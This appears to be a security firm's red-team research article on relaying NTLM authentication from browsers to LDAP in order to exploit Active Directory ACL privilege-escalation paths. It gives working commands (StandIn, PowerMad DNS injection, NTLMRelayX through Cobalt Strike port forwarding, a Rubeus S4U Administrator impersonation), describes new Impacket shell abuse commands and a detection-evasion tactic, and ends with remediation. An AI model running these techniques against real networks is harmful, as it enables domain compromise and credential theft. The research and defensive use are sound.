Corporate Security

How to Exploit Active Directory ACL Attack Paths Through LDAP Relaying Attacks

Overview

This article describes methods by which an attacker can induce a victim user into authenticating using the NT Lan Manager (NTLM) Authentication Protocol to an attacker-controlled “Intranet” site, even in instances where that site points to an external internet-facing IP address. An attacker can then combine this primitive with LDAP relaying capabilities and the “interactive” LDAP shell mode within the NTLMRelayX tool to impersonate a user to the LDAP service on a domain controller. They can then leverage the victim user’s privileges to then escalate privileges within Active Directory.

Praetorian has observed that even in cases where an organization has implemented controls to mitigate SMB relaying attacks, such as by enforcing SMB Signing, it is uncommon to see measures implemented to prevent LDAP relaying attacks.

To facilitate the exploitation of an Active Directory ACL attack path using an LDAP relaying attack, we have developed several additional features for Impacket’s LDAP interactive client shell.

Integrated Windows Authentication

Integrated Windows Authentication (IWA) is a feature within Windows that allows browsers to automatically authenticate to “Intranet” websites based on a prebuilt set of customizable rules using the NTLM and Kerberos network authentication protocols. By default, Windows will classify any site accessed by the user without any “dots” in the URL as being within the “Intranet” zone. In this case, by Windows, we mean the WINHTTP library used by Internet Explorer and Google Chrome. Unfortunately, from our testing, it appears that Firefox does not enable this automatic authentication mechanism by default.

For example, a user within the “contoso.local” domain may attempt to access an IIS web server using the URL “http://files” within a browser window. The DNS resolution process then applies the default search suffix of “contoso.local” to resolve the final hostname of “files.contoso.local”. In this case, the browser classified the host as an “Intranet” site because the URL “http://files” did not contain any dots.

Unfortunately, these default classification rules mean that an attacker with access to a compromised host within the environment can readily meet the requirements of being an “Intranet” site and then force any victim browser to authenticate to the “attacker” site.

In the subsequent sections, we discuss two methods by which an attacker can meet the requirements of hosting an “Intranet” site. Next, we explain how an attacker can combine this scenario with Active Directory ACL attack path vulnerabilities and LDAP relaying attacks to elevate privileges. Finally, we provide a detailed walkthrough of how an operator can accomplish these tasks through Cobalt Strike.

Intranet Site Option #1: Create a New Computer

By default, any “Authenticated User” within Active Directory can join a new computer to the domain by exploiting the fact that the default value of the “ms-DS-MachineAccountQuota” attribute permits any user to domain join up to ten computers.

After creating a new computer account object through the domain join capability, the attacker can configure Active Directory Integrated DNS (ADIDNS) for that computer account object to point to an arbitrary IP address. From testing, even if we configure this record to point to an external IP address within Google Cloud Platform (GCP), the browser still classifies the site as being an “Intranet” site as the IP address is not used within the computation.

First, we leverage the “StandIn” utility by running the command given below:

		execute-assembly /Users/engineer/hgfs/tools/StandIn.exe --computer DESKTOP-JSMITH --make

The following is the expected output:
[image id=”2955″ filter=”false”]
Then we can leverage the “Invoke-DNSUpdate” command within the PowerMad tool [1] using the “powershell-import” and “powerpick” commands.

		powerpick Invoke-DNSUpdate -DNSType A -DNSName cloudfiles -DNSData 192.168.109.13

The expected output is shown below.
[image id=”2956″ filter=”false”]

Intranet Site Option #2: Leveraging an Existing Compromised Host

Alternatively, in many environments, additional hardening measures have been implemented to prevent any user from joining a new computer to the domain. Often, an attacker with access to a single-host can often simply bind port 80/TCP to obtain an “Intranet” classified site.

To perform an LDAP relaying attack from a compromised Windows host we can leverage NTLMRelayX with the “rportfwd” command to remotely port-forward all connections on port 80/TCP on the victim host to a local NTLMRelayX instance running on the attacker’s Cobalt Strike TeamServer.

Identifying Active Directory ACL Attack Paths

After obtaining an attacker-controlled “Intranet” site, the next step is to enumerate Active Directory permissions to identify potential privilege escalation paths. To facilitate our research into these issues, we have reviewed previous red-team engagement BloodHound data collections. In particular, we were interested in scenarios where standard user accounts possessed rights giving them a purely ACL-based attack path to either a privileged resource (e.g., sensitive business system) or “Domain Administrator” equivalent rights. In the following sections, we present the three most common abuse cases we have observed regarding exploiting ACL attacks path originating from a standard user account.

Abuse Case #1: Excessive Forgot Password Permissions

Organizations often grant helpdesk and other lower-tier IT users permission to perform password resets and other privileged operations within the environment. Usually, this results in a scenario where the helpdesk user can inadvertently reset the password of a more privileged account credential.

The diagram given below outlines an attack path we commonly identify within an environment involving tier-separation issues. In the attack chain shown below, the “JSMITH” user is a member of the “TIER2 Helpdesk” group which has “GenericAll” permissions over the more privileged “RPERRY” user account. The “RPERRY” user is a member of the “Windows Administrators” group, which can reset the password associated with the “Azure ADSync” service account. These broad password-reset permissions are often granted to a helpdesk user to allow them to assist employees who have forgotten their password.

[image id=”2957″ filter=”false”]

Unfortunately, from the image shown below, we can observe that the “Azure ADSync” account, by necessity, is permitted to perform Active Directory replication. An attacker that can compromise this account can instantly elevate privileges to “Domain Administrator” by performing Active Directory replication using the DRSUAPI protocol [7].

[image id=”2958″ filter=”false”]

Abuse Case #2: Computer Account Write Permissions

When a user leverages their account to join a new computer to the domain, that account possesses ownership rights over the computer account object associated with that computer within Active Directory. In this scenario, an attacker can leverage LDAP relaying to configure resource-based constrained delegation (RBCD) on any of the computers the user has joined to the domain.

[image id=”2959″ filter=”false”]

While this example is somewhat contrived, we have seen variations on this attack pattern within multiple environments. For example, a user might be a group member with GenericAll rights over a host used for running the “Azure AD Sync” service.

Abuse Case #3: Group Management Permissions

We also commonly observe scenarios where a target user can add or remove members from a given group. In this example, the “JCOBB” user is a member of the “IAM Management Users” group, which permits them control of the “Windows Admins” group, which then controls the “SVC_AADSYNC” account. This attack chain is shown in the below image.

[image id=”2960″ filter=”false”]

Triggering HTTP NetNTLM Authentication Attempts

The broader security community has published extensive research regarding how an attacker can trigger an NTLM network authentication attempt over HTTP. Two notable cases are the “Farming for Red Teams: Harvesting NetNTLM” [2][3] by Dominic Chell of MDSec and “Sign over Your Hashes – Stealing NetNTLM Hashes via Outlook Signatures” published [4] by David Cash of NCC Group.

Dominic Chell outlines a technique which can be leveraged by writing a specially crafted file to a network share to trigger an HTTP NetNTLM authentication attempt. David Cash outlines a technique which can be leveraged using a malicious email signature.

The technique outlined by Chell requires the WebClient service to exist on the victim host. Thankfully, this service exists on all default Windows 10 systems; however, Windows Server operating systems do not include this service by default. Unfortunately, the service is triggered to start by an ETW event trigger and does not start automatically at startup.

Fortunately, from our testing, of the four extensions outlined by Chell, the “LIBRARY-MS” and “SEARCHCONNECTOR-MS” extensions are the most useful as they both support automatically launching the WebClient service (it is unclear why this behavior differs between extension types). The “LNK” and “URL” extensions support HTTP authentication via NetNTLM, but only if the WebClient service is currently running. We outline these cases in the below table.

[image id=”2974″ filter=”false”]

Performing an LDAP Relaying Attack

In this scenario, we performed our LDAP relaying attack using “Option #2” for obtaining an Intranet site by leveraging an existing compromised host from an unprivileged user context.

Leveraging Impacket through Cobalt Strike is often challenging due to the constraints of operating through a reverse shell and the associated Python dependencies. Fortunately, Cobalt Strike provides the “rportfwd” and “socks” features which, when combined, allow us to leverage NTLMRelayX through beacon.

We accomplish this by running an NTLMRelayX instance on the TeamServer listening on 8080/TCP. All traffic to port 80/TCP on the victim host is then routed to the local NTLMRelayX service listening on 8080/TCP on the TeamServer. Next, we route NTLMRelayX into the internal network by leveraging socks and proxychains.

First, we execute the “socks 8888” command to create a socks proxy. Next, we leverage the “rportfwd 80 127.0.0.1 8080″ command to bind to port 80/TCP, and forward all traffic to this port to an NTLMRelayX instance running on our TeamServer.

[image id=”2961″ filter=”false”]

Finally, we configure proxychains and run the command given below to launch our NTLMRelayX instance.

		sudo proxychains python3 examples/ntlmrelayx.py --http-port 8080 -i -t ldaps://192.168.109.8

The expected output is shown below.

[image id=”2962″ filter=”false”]

Leveraging the Interactive LDAP Shell

Impacket supports an interactive shell feature that allows an operator to interact with the LDAP service, conduct searches manually, and perform tasks such as adding a user to a group. Unfortunately, when examining previous BloodHound data collections, we noted several scenarios where the interactive shell feature lacked the necessary capabilities to exploit an ACL issue successfully.

For example, we noted that the interactive shell did not include features to:

Enable (and disable) an inactive user account. From reviewing previous BloodHound data collections, some attack paths involved re-enabling a previously disabled account.
Reset a user or computer account’s password. Previous data collections indicated several scenarios where a helpdesk user could escalate privileges by resetting the password of a more privileged tier account.
Configure resource-based constrained delegation (RBCD) on a computer account object. In some scenarios, we noted instances where an organization granted a user account write access over a computer account object, and compromise of the underlying host allowed for privilege escalation. Furthermore, the shell could not clear the RBCD attribute after successfully compromising the target host.
Configure the “do not require pre-authentication” setting on a user-account object. In some cases, we observed ACL paths where an attacker needed to compromise only one of several accounts to escalate privileges. In these cases, we often prefer to avoid resetting an account password. Instead, we disable pre-authentication on multiple targeted accounts and perform password cracking offline until one is compromised. This method often goes undetected when resetting the victim’s account password would trigger a detection.
Configure a DACL using a relayed account to permit an attacker-controlled account control over a user or group was also not included within the interactive shell.
Read the Local Administrator Solution (LAPS) password associated with a given computer account.

To address these abuse-cases, we have introduced the following commands to the LDAP interactive shell [6]:

add_computer – Introduces the ability to add a new computer to the domain.
change_password – Introduces the ability to change the password associated with a user or computer account.
clear_rbcd – Ability to clear the “msDS-AllowedToActOnBehalfOfOtherIdentity” attribute post-exploitation.
disable_account – Ability to disable a previously enabled user-account.
enable_account – Ability to enable a previously disabled user-account.
get_laps_password – Attempts to read the LAPS password associated with a given computer account.
grant_control – Writes to the DACL associated with an object to grant control of the object to another object within Active Directory. The grant_control primitive is often useful when exploiting ACL attack paths with the “WriteDACL” or “Owns” edge.
set_dontreqpreauth – The ability to enable or disable the “do not require Kerberos pre-authentication” setting for an arbitrary user account.
set_rbcd – Configure resource-based constrained delegation (RBCD) to permit a grantee to impersonate arbitrary users to the target host.

Exploiting Abuse Case #1: User Account Object Control

To simulate exploitation of the “Abuse Case #1” scenario outlined previously, we first simulate an authentication performed by the jsmith user over HTTP using any of the methods outlined in the previous “Triggering NetNTLM Authentication Attempts” section.

[image id=”2963″ filter=”false”]

Next, we connect to the spawned Netcat listener and rotate the “rperry” user’s account credential.

[image id=”2964″ filter=”false”]

Alternatively, we may wish to perform a targeted Kerberoasting-style attack against the “rperry” user using the “set_dontreqpreauth” command. Furthermore, the attacker may grant themselves control of the account object using the “grant_control” command and delay the exploitation of the entire attack path until later. If the targeted account is disabled, the attacker can use the “enable_account” command to re-enable the account. These commands are shown in the image below.

[image id=”2965″ filter=”false”]

Finally, the attacker can reset the svc_aadsync account password using the rperry account credential, perform a DCSync attack, and then quickly revert the compromised account credentials to their original password. For brevity, these final stages within the attack path exist as an exercise to the reader.

Exploiting Abuse-Case #2: Computer Account Control

Again we simulate an authentication from the “jsmith” user using any of the previously discussed techniques. We then use the “add_computer” to add a new computer and attempt to use the “set_rbcd” command to configure resource-based constrained delegation on the WIN-BID7RIP3HE2” host. An error occurs as shown in the image below.

[image id=”2966″ filter=”false”]

From our testing, it seems that a user with the “Owns” right over the object doesn’t have control over the resource-based constrained delegation attributes. However, as a user with the ownership (“Owns”) right, we can write to the DACL associated with the object. We accomplish this by using the grant_control command to grant our relayed user complete control over the computer account object. Next, we run the “set_rbcd” command again and succeed this time as shown in the image below.

[image id=”2967″ filter=”false”]

After configuring resource-based constrained delegation, we obtain a TGS ticket for the Administrator targeting the CIFS service on the victim host using Rubeus. We accomplish this by leveraging the Rubeus utility to perform resource-based constrained delegation using the S4U2Self and S4U2Proxy commands. The Rubeus command used in this instance is below.

		execute-assembly /Users/engineer/hgfs/tools/Rubeus.exe s4u /user:CLOUDFILES$/aes256:9CEFB2E69453CB8AFF8A4661AF9A0C61C2B87E6ABE20C8B01CE0CC659507A6DF 99/impersonateuser:Administrator /msdsspn:cifs/WIN-BID7RIP3HE2.CONTOSO.LOCAL /ptt

The expected output is shown below.

[image id=”2968″ filter=”false”]

Running the “klist” command we observe that the tickets were imported successfully.

[image id=”2969″ filter=”false”]

Next, we leverage the obtained TGS ticket for the Administrator user to access the SMB service on the target host as shown below:

[image id=”2970″ filter=”false”]

Finally, we can use the “clear_rbcd” command to remove our resource-based constrained delegation configuration (note that this command will clear the entire attribute and not just the added entry).

[image id=”2971″ filter=”false”]

Alternatively, if LAPS is enabled on the host, we can leverage the “get_laps_password” command to read the LAPS password associated with the computer.

[image id=”2972″ filter=”false”]

Exploiting Abuse-Case #3: Group Management Permissions

Exploiting the group management issue is quite simple and can leverage the already-existing “add_user_to_group” command – as shown in the below image:

[image id=”2973″ filter=”false”]

Now that the attacker user is a member of the “Iam Management Users” group they can then reset the “svc_aadsync” account password and perform Active Directory replication using the DRSUAPI protocol to escalate privileges.

Remediation

Enabling both LDAP Signing and LDAP Channel Binding is the most effective measure to mitigate the risk of LDAP relaying attacks [8]. LDAP Signing protects the LDAP service, whereas LDAP Channel Binding works to protect the LDAPS service.

If possible, Praetorian also recommends limiting administrative rights to separate isolated administrative accounts. Organizations should then place these separate administrative users into the “Protected Users” group to disable network-based NTLM authentication for those accounts.

Unfortunately, remediation of these issues is often complex and requires buy-in across multiple organizations and business units. Furthermore, many legacy systems do not support modern LDAP security mechanisms such as LDAP Channel Binding and LDAP Signing.

Future Work

Future work on this topic will likely revolve around identifying potential alternative exploitation vectors for the user account control primitive. These may include using the “ScriptPath” attribute to configure a logon script, configuring a roaming profile, or leveraging write-access to the user profile to configure SmartCard authentication on the victim account [5]. Additionally, while extensive research exists on triggering NTLM authentications from a victim Windows host, similar attacks may be possible against a domain-joined macOS system.

Conclusion

This article discussed specific scenarios where an attacker can impersonate a victim user to the LDAP service to exploit an ACL attack path by tricking them into clicking on a malicious link. An attacker can accomplish this by leveraging the default “Intranet” site classification mechanism to trigger network NTLM authentication from a victim browser using the integrated windows authentication (IWA) mechanism. Next, we described methods by which an attacker could induce an authentication to an Intranet site. Finally, we explained how an attacker could combine an HTTP authentication primitive with an LDAP relaying attack to exploit an Active Directory ACL attack path.